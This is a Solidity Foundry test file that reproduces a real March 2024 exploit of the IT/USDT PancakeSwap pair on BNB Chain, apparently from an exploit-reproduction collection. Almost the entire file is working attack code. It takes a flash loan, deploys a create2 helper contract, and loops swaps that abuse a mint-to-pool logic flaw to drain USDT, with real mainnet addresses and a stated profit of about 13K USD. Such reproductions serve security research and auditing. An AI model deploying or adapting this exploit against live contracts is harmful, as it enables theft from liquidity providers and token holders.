src/test/2024-03/IT_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "forge-std/Test.sol";
5import "./../interface.sol";
6 
7// TX : https://app.blocksec.com/explorer/tx/bsc/0xb33057f57ce451aa8cbb65508d298fe3c627509cc64a394736dace2671b6dcfa
8 
9// Profit : ~13K USD
10// REASON : Business Logic Flaw
11// Transfer from pool,will lead to mint to pool.Seems easy,but a bit hard to make this poc.
12 
13contract ContractTest is Test {
14    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
15    Uni_Pair_V3 pool = Uni_Pair_V3(0x92b7807bF19b7DDdf89b706143896d05228f3121);
16    Uni_Pair_V2 IT_USDT = Uni_Pair_V2(0x7265553986a81c838867aA6B3625ABA97B961f00);
17    // token0 IT token1 USDT
18    Uni_Router_V2 router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);
19    IERC20 USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);
20    IERC20 IT = IERC20(0x1AC5Fac863c0a026e029B173f2AE4D33938AB473);
21    uint256 constant PRECISION = 10 ** 18;
22    address test_contract = address(this);
23    address hack_contract;
24 
25    function setUp() external {
26        cheats.createSelectFork("bsc", 36_934_258);
27        deal(address(USDT), address(this), 0);
28    }
29 
30    function testExploit() external {
31        emit log_named_decimal_uint("[Begin] Attacker USDT before exploit", USDT.balanceOf(address(this)), 18);
32        pool.flash(address(this), 2_000_000_000_000_000_000_000, 0, "");
33        emit log_named_decimal_uint("[End] Attacker USDT after exploit", USDT.balanceOf(address(this)), 18);
34    }
35 
36    function pancakeV3FlashCallback(uint256 fee0, uint256, /*fee1*/ bytes memory /*data*/ ) public {
37        bytes memory bytecode = type(Money).creationCode;
38        uint256 _salt = 0;
39        bytecode = abi.encodePacked(bytecode, abi.encode(test_contract));
40        bytes32 hash = keccak256(abi.encodePacked(bytes1(0xff), address(this), _salt, keccak256(bytecode)));
41        hack_contract = address(uint160(uint256(hash)));
42        console.log(hack_contract);
43        USDT.transfer(address(hack_contract), 2_000_000_000_000_000_000_000);
44        address addr;
45        // Use create2 to send money first.
46        assembly {
47            addr := create2(0, add(bytecode, 0x20), mload(bytecode), _salt)
48        }
49        // Money hackContract = new Money((address(this)));
50        USDT.transferFrom(hack_contract, address(this), USDT.balanceOf(hack_contract));
51        USDT.transfer(address(pool), 2000 ether + fee0);
52    }
53 
54    function hack(
55        address a
56    ) public {
57        uint256 i = 0;
58        while (i < 9) {
59            console.log("Time : ", i);
60            USDT.transferFrom(a, address(IT_USDT), 2_000_000_000_000_000_000_000);
61            uint256 pair_balance = IT.balanceOf(address(IT_USDT));
62            uint256 usdt_balance = USDT.balanceOf(address(IT_USDT));
63            // 0 ->IT  1->USDT
64            (uint256 _reserve0, uint256 _reserve1,) = IT_USDT.getReserves();
65            uint256 balance0 = mintToPoolIfNeeded(_reserve0 - 1) + 1;
66            uint256 balance1 = (
67                (_reserve0 * _reserve1 * 10_000 * 10_000) / ((balance0 * 10_000) - (balance0 - 1) * 25)
68                    + 2000 ether * 25
69            ) / 10_000;
70            uint256 amountout = usdt_balance - balance1;
71            console.log("amountout %e", amountout);
72            IT_USDT.swap(_reserve0 - 1, amountout - 1, a, "");
73            i++;
74        }
75    }
76 
77    function max(uint256 a, uint256 b) external pure returns (uint256) {
78        return a >= b ? a : b;
79    }
80 
81    function min(uint256 a, uint256 b) external pure returns (uint256) {
82        return a <= b ? a : b;
83    }
84 
85    function feed(
86        address a
87    ) public {
88        USDT.approve(a, type(uint256).max - 1);
89    }
90 
91    function mintToPoolIfNeeded(
92        uint256 amount
93    ) public returns (uint256) {
94        uint256 tokenUsdtRate;
95        (uint112 reserve0, uint112 reserve1,) = IT_USDT.getReserves();
96 
97        uint256 tokenReserve;
98        uint256 usdtReserve;
99 
100        if (address(IT) == IT_USDT.token0()) {
101            tokenReserve = uint256(reserve0);
102            usdtReserve = uint256(reserve1);
103        } else {
104            tokenReserve = uint256(reserve1);
105            usdtReserve = uint256(reserve0);
106        }
107        tokenUsdtRate = uint256(usdtReserve) * (PRECISION) / (uint256(tokenReserve));
108 
109        // uint256 k = tokenReserve.mul(usdtReserve);
110 
111        uint256 tokenReserveAfterBuy = tokenReserve - amount;
112        // uint256 usdtReserveAfterBuy = k.div(tokenReserveAfterBuy);
113        uint256 usdtReserveAfterBuy =
114            this.min(tokenReserve * (usdtReserve) / (tokenReserveAfterBuy), USDT.balanceOf(address(IT_USDT))); // min impltementing rule 3
115 
116        uint256 maxTokenUsdtRateAfterBuy = tokenUsdtRate + (tokenUsdtRate / (100));
117 
118        uint256 tokenMinReserveAfterBuy = usdtReserveAfterBuy * (PRECISION) / (maxTokenUsdtRateAfterBuy);
119 
120        if (tokenReserveAfterBuy >= tokenMinReserveAfterBuy) {
121            return amount / 2;
122        } else {
123            return this.max(tokenMinReserveAfterBuy - (tokenReserveAfterBuy), amount / 2);
124        }
125    }
126}
127 
128contract Money {
129    IERC20 USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);
130 
131    constructor(
132        address _address
133    ) {
134        USDT.approve(_address, type(uint256).max - 1);
135        _address.call(abi.encodeWithSignature("feed(address)", address(this)));
136        _address.call(abi.encodeWithSignature("hack(address)", address(this)));
137    }
138}